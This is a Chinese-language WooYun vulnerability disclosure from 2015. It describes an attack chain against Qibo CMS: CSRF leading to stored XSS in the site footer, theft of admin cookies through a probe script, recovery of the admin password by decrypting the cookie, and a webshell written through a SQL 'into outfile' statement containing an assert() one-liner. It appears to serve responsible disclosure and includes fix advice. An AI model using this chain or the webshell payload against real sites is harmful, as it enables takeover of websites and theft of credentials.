漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0101818
漏洞标题:qibo通杀csrf+存储xss+分析明文账号密码进后台+成功getshell
相关厂商:齐博CMS
漏洞作者: Ader_duo
提交时间:2015-03-20 16:10
修复时间:2015-06-23 16:13
公开时间:2015-06-23 16:13
漏洞类型:CSRF
危害等级:中
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-20: 细节已通知厂商并且等待厂商处理中
2015-03-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开
简要描述:
csrf+xss+成功getshell以整站系统为例
详细说明:
后台无csrf防御,首先,看下全局过滤。全局过滤目录结构admin/index.php-admin/global.php-inc/common.inc.php这里是重点
综上:post,get,cookie过来的参数进行过滤,但是没有过滤xss过滤。对eval进行替换但是还有别的函数有同样功能,还是可以插入一句话进去
csrf:后台-系统功能-全局参数设置
利用脚本:1.php
参数webdbs[copyright]是网页底部版权信息。在前台的每个页面都会出现。
http://127.0.0.1/xss/probe.js 这是我本地的探针 调用本地xss探针probe,js。探针里http_server = "http://127.0.0.1/3/test.php?c=",可以在服务器。test接收参数C,生成页面probe_data.html.写入接收到的数据。cookie就在里面。
管理员在登录状态下访问主站任何页面都会中招。获取到的cookie如下:
1%09admin%09VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c%3D94606de1fd%09是跳格键 %3D是=所以1 admin VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c=94606de1fd随意注册一账户。用户名111 登录之后编辑passport内容为Admin=1 VwgAUgpRBwpUVgQAAFRZD1YHXF0GWVJXUlVcVQICW1c=94606de1fd
编辑之后刷新页面。
这样是可以成功登陆前台的,登陆后台需要Admin,adminID,passport同样方式编辑,刷新之后
然后进入后台。
点击服务器信息。看到网站绝对路径 DOCUMENT_ROOT D:/wamp/wamp/www/
系统功能-数据库工具
输入sql语句:
select '<?php @assert($_POST[password]);?>' into outfile 'D:/wamp/wamp/www/cc.php'
成功插入一句话。菜刀连接
漏洞证明:
其实xss获取到的cookie有一定时间的,但是我们可以从获取到cookie来推算原本的账号密码。
inc\common.inc.php
可知$detail经过\t分隔之后为uid username,password.
计算mymd5($_COOKIE["adminID"],'DE',$onlineip)
看mymd5()函数-是加密解密函数:
cookie=VGxWUVoIVz5QVwAGBlVQXFYABQRVUQJTAlVdWwMCA1RRBA8FBgdaBA==638eb521ba
mymd5
('VGxWUVoIVz5QVwAGBlVQXFYABQRVUQJTAlVdWwMCA1RRBA8FBgdaBA==638eb521ba','127.0.0.1')
得:
密码为MD5加密,解密为admin 用户名passport第二个参数admin
修复方案:
后台进行敏感操作时候要加上token。
最好在inc/common.php页面对获取的值进行xss过滤,也对php一句话别的函数进行过滤
版权声明:转载请注明来源 Ader_duo@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-06-23 16:13
厂商回复:
最新状态:
2015-03-27:管理员才有权限的操作,所以影响可以忽略的